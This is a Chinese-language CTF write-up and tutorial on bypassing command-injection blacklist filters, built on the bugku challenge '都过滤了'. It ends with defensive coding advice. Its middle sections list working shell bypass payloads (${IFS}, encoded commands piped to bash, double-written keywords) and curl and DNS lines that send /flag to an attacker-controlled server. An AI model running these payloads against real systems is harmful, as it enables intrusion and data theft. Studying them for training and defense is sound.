Web安全攻防:从CTF命令执行绕过看过滤机制与防御实践
1. 从一道CTF题看Web安全过滤的攻防博弈
最近在带新人复盘一些经典的CTF Web题目,发现“bugku web 都过滤了”这道题,虽然名字听起来有点“摆烂”,但实际考察的点非常扎实,是理解Web安全中“过滤与绕过”攻防思想的绝佳案例。这道题的核心,就是当你发现所有常见的注入点、命令执行点都被各种过滤规则严防死守时,你该如何思考,如何找到那个唯一的、脆弱的“缝隙”。这不仅仅是解一道题,更是对安全工程师思维模式的一次锤炼——在看似铜墙铁壁的防御中,寻找逻辑的破绽。
很多新手遇到这种“全过滤”的场景容易懵,觉得无从下手。但我的经验是,越是这种题目,越要回归基础,系统性地去分析“过滤了什么”以及“没过滤什么”。攻击的本质是寻找差异,防守的盲点往往藏在过滤规则的交集或边界之外。这道题没有给具体的题干描述,但根据其经典性和常见的出题思路,我们可以将其场景重构为一个典型的“命令执行漏洞”挑战:目标是一个Web应用,它接收用户输入,试图执行某个系统命令(比如ping、ls、cat等),但开发者意识到了危险,于是编写了过滤函数,试图将危险字符(如空格、分号、管道符、关键字等)全部过滤或转义。我们的任务就是构造一个能绕过所有过滤,成功执行任意命令的Payload。
2. 深度拆解:常见的过滤手段与我们的应对策略
面对“都过滤了”的防御,我们不能盲目尝试,必须先建立一套分析框架。通常,开发者的过滤会从以下几个层面入手,而我们的绕过思路也对应产生。
2.1 基于黑名单的关键字过滤
这是最直观、也最容易被绕过的过滤方式。开发者会维护一个危险关键词列表,如cat,flag,ls,bash,nc,python等,一旦发现用户输入中包含这些词,就直接拦截或替换为空。
绕过思路1:拼接与变形
- 利用变量拼接:在Bash中,我们可以将命令拆分成多个部分,再用变量或直接连接起来。
a=c;b=at;c=fl;d=ag;$a$b $c$d。这里,$a$b的结果是cat,$c$d的结果是flag。
- 利用通配符:
cat fla*或cat fla?。星号*匹配任意字符,问号?匹配单个字符。如果文件名已知是flag.txt,cat fl*或cat fla?????都可能成功。 - 利用空变量
${}:cat${IFS}flag.txt。${IFS}是Bash的内部字段分隔符,默认为空格、制表符、换行符。如果空格被过滤,这是一个极好的替代品。IFS本身也可以被拆分:I=“FS”;cat${$I}flag.txt。
绕过思路2:编码与八进制/十六进制
- Base64编码:
echo “Y2F0IGZsYWcudHh0Cg==” | base64 -d | bash。将cat flag.txt命令base64编码后,通过管道解码并交给bash执行。 - 十六进制编码:
echo “63617420666c61672e7478740a” | xxd -r -p | bash。xxd -r -p可以将十六进制字符串还原。 - 八进制编码:在Bash中,
$‘\xxx’的形式可以表示八进制字符。例如,空格是$‘\040’,那么cat$‘\040’flag.txt可能绕过对空格的过滤。
2.2 对特殊字符的过滤
开发者深知关键字过滤的局限性,因此往往会加强对特殊字符的过滤,如空格、分号;、管道|、与号&、反引号“”、美元符号$、重定向<>`等。
绕过思路:寻找替代符号
- 空格替代:
${IFS}:如前所述,最常用。<或<>:重定向符号。cat<flag.txt,将文件内容重定向给cat命令。{cat,flag.txt}:Bash的花括号扩展。{cat,flag.txt}会被扩展为cat flag.txt。- Tab键:
cat%09flag.txt(URL编码)。在某些过滤中,可能只过滤了空格字符(0x20),而忽略了Tab(0x09)。
- 命令分隔符替代:
%0a(换行符)或%0d(回车符):在HTTP请求中,换行和回车也能起到分隔命令的作用。例如Payload:?cmd=cat flag.txt%0als。||或&&:逻辑运算符。如果过滤了;,但没过滤&&,可以使用cat flag.txt && ls。
- 绕过反斜杠和引号过滤:如果过滤了反斜杠
\和引号,对于需要引用的场景,可以尝试使用$@或$*。在无参情况下,它们扩展为空,但可以用于构造字符串的一部分,虽然比较晦涩,但在极端过滤下值得一试。
2.3 基于正则表达式的匹配与替换
更高级的过滤会使用正则表达式,例如preg_replace(‘/[\s;|&$<>]/’, ‘’, $input),试图一次性清除所有危险字符。或者更狠的,preg_replace(‘/flag|cat|ls|bash|nc/i’, ‘HACKED’, $input)`,直接替换掉关键词。
绕过思路:利用正则的“一次匹配”特性这是本题的一个核心考点。PHP的preg_replace函数,当使用类似/flag/i这样的模式且未进行全局多次匹配时,默认只替换第一次匹配到的内容。 假设服务器端代码如下:
$input = $_GET[‘cmd’]; $filter = array(‘flag’, ‘cat’, ‘ls’, ‘ ‘, ‘;’, ‘|’); foreach ($filter as $black) { $input = preg_replace(‘/‘ . $black . ‘/i’, ‘’, $input); } system($input);这段代码的逻辑是遍历黑名单,对每个黑名单词依次执行一次替换。这里就存在一个经典的“套娃”绕过。
构造Payload:?cmd=flflagag cat%20flflagag.txt
- 第一轮过滤
flag:flflagag中的flag被删除,变成flag。flflagag.txt中的flag被删除,变成flag.txt。此时命令变为:flag cat%20flag.txt(注意,flag作为一个命令本身可能不存在,这只是一个中间状态)。 - 关键点在于,我们注入的
cat和空格%20还在。假设cat和空格不在第一轮过滤的$filter数组里(或者顺序在flag之后),它们会在后续的遍历中被过滤掉。但这里有一个更巧妙的点:如果cat和空格也被过滤了,我们同样可以用双写绕过。比如,命令是caat,过滤cat后变成cat。 - 所以,一个更通用的Payload构造思想是:对每一个被过滤的字符或关键词,都进行“双写”。例如,过滤列表是
[‘flag’, ‘cat’, ‘ ‘],那么目标命令cat flag.txt就应该构造成caat flflagag.txt。注意,空格也需要处理,可以用${IFS}替代,或者如果过滤了空格字符但没过滤${IFS},就直接用${IFS}。
注意:双写绕过的成功,严重依赖于过滤函数的执行逻辑。必须是依次替换且只替换一次。如果开发使用
str_replace函数,它会全局替换所有出现,双写就无效了。如果使用preg_replace的/…/i模式且未加g修饰符(在PHP中,preg_replace默认是全局替换的,除非限制了次数参数。但有些写法或题目会模拟出“单次”效果),双写可能成功。在实际解题时,这需要通过不断测试和观察回显来判断过滤逻辑。
3. 实战推演:构建多层过滤的绕过链条
现在,让我们模拟一个更复杂的场景,假设题目过滤了以下内容:
- 关键词:
cat,flag,ls,bash,sh,python,php。 - 特殊字符:空格、分号
;、管道|、与号&、反引号“”、重定向<>`。 - 甚至过滤了
${IFS}这个字符串本身。
我们的目标是读取/flag文件。
第一步:信息收集与可用命令探测即使过滤严格,一些基础命令可能还在。我们可以尝试:
?cmd=1查看回显,确认命令执行功能存在。- 使用未过滤的命令探测,如
?cmd=whomai->whoami,?cmd=pwd->pwd。这能帮助我们了解当前权限和工作目录。 - 尝试
?cmd=ls%0a(换行符)。如果ls被过滤,尝试l‘s’或l\s(如果反斜杠没被过滤),或者直接用通配符?cmd=*列出所有文件。但*也可能被过滤。
第二步:选择命令执行函数既然cat、bash等被过滤,我们需要寻找替代的读文件命令:
more、less、head、tail、tac(反向cat)、nl(带行号输出)、od(八进制输出)、xxd(十六进制输出)。这些命令可能不在黑名单中。- 例如,尝试
?cmd=more${IFS}/flag。如果${IFS}被过滤,尝试用%09(Tab)或{more,/flag}。
第三步:处理被过滤的“flag”关键词如果“flag”这个文件名也被过滤,我们需要在Payload中隐藏它。
- 方法A:通配符。
?cmd=more${IFS}/fla*或?cmd=more${IFS}/fla?。假设flag文件是当前目录唯一的以fla开头的文件。 - 方法B:变量赋值。
?cmd=a=fl;b=ag;more${IFS}/$a$b。将fl和ag分别赋值给变量a和b,然后拼接。 - 方法C:反斜杠转义(如果反斜杠可用)。
?cmd=more${IFS}/fl\ag。但反斜杠常被过滤。 - 方法D:引号分割。
?cmd=more${IFS}/‘fl’‘ag’。如果单引号或双引号没被过滤。
第四步:整合与测试假设我们探测到more和${IFS}可用,但flag关键词和空格字符被过滤。我们可以构造:?cmd=more${IFS}/fla*如果*也被过滤了呢?那就需要更奇技淫巧。?cmd=more$IFS/fl$‘\141’g。这里使用了八进制表示法,\141是字母a的八进制ASCII码。$‘\141’在Bash中会被解释为字符a。这样,fl$‘\141’g就等于flag。
如果连$‘...’这种形式都被解析过滤了,那就需要考虑外部带出。既然能执行命令,可以尝试:
curl或wget:将文件内容通过HTTP请求发送到我们控制的服务器。?cmd=curl${IFS}-X${IFS}POST${IFS}--data-binary${IFS}@/flag${IFS}http://your-server.com/。但这需要curl命令和网络连通性。dns外带:使用ping或nslookup,将文件内容作为域名的一部分发出。?cmd=ping${IFS}-c${IFS}1${IFS}cat /flag.your-server.com。这里用了反引号,如果反引号被过滤,可以用$()代替:?cmd=ping${IFS}-c${IFS}1${IFS}$(cat${IFS}/flag).your-server.com。这需要你有一个能接收DNS查询日志的服务器。
4. 防御视角:如何构建更安全的命令执行逻辑
作为开发者,从这道题中我们能学到什么?黑名单过滤是永远防不住的,因为绕过方式层出不穷。正确的做法是白名单校验和最小化权限。
1. 严格的白名单校验如果业务必须执行命令,应只允许执行预设的、安全的命令。例如,一个网络诊断功能只允许执行ping、traceroute,那么就对用户传入的参数进行严格匹配,只允许ping或traceroute,并且对其参数(如IP地址)进行严格的格式校验(正则匹配IP格式或域名格式),而不是简单地过滤危险字符。
2. 避免直接拼接命令绝对不要使用system(“ping ” . $user_input)或os.popen(“ls ” + dir)这种形式。应使用能够分隔命令与参数的函数。
- PHP:使用
escapeshellarg()或escapeshellcmd()函数处理参数,但要注意它们并非银弹,需结合上下文理解。$allowed_commands = [‘ping’ => true, ‘ls’ => true]; $cmd = $_GET[‘cmd’]; $args = $_GET[‘args’]; if (!isset($allowed_commands[$cmd])) { die(‘Command not allowed’); } // 对args进行严格过滤,例如ls命令只允许特定的目录参数 if ($cmd === ‘ls’) { $safe_dir = escapeshellarg(‘/var/www/safe_dir/’); // 限制目录 system(“ls ” . $safe_dir); } elseif ($cmd === ‘ping’) { $ip = filter_var($args, FILTER_VALIDATE_IP); // 严格IP验证 if ($ip === false) { die(‘Invalid IP’); } system(“ping -c 4 ” . escapeshellarg($ip)); } - Python:使用
subprocess.run()并传递参数列表,避免shell=True。import subprocess cmd = request.GET.get(‘cmd’) if cmd not in [‘ping’, ‘ls’]: return “Forbidden” # 对于ping if cmd == ‘ping’: target = request.GET.get(‘target’) # 验证target是合法IP或域名 if not valid_target(target): return “Invalid target” # 使用参数列表,而非字符串拼接 result = subprocess.run([‘ping’, ‘-c’, ‘4’, target], capture_output=True, text=True, timeout=5) return result.stdout
3. 降低执行权限运行Web服务的进程(如www-data, nobody)应该具有尽可能低的权限。使用操作系统级别的权限控制(如chroot jail, Docker容器,或严格的SELinux/AppArmor策略),确保即使命令执行漏洞被利用,攻击者也只能访问到非常有限的资源。
4. 禁用危险函数在PHP中,可以在php.ini中通过disable_functions指令禁用system,exec,passthru,shell_exec,popen,proc_open等函数。这是最直接有效的方法,如果业务不需要,就彻底关闭。
回到“bugku web 都过滤了”这道题,它像是一个沙盘,让我们在极限环境下锻炼绕过技巧。但在真实世界里,作为防守方,我们绝不能寄希望于一道又一道的黑名单过滤墙。真正的安全源于良好的设计:不需要的命令执行功能就不要提供;必须提供的,就用白名单加参数化查询的思路去实现。这道题的价值,就在于让我们同时理解了攻击的灵巧和防御的坚实,知道矛有多利,才知道盾该如何铸。
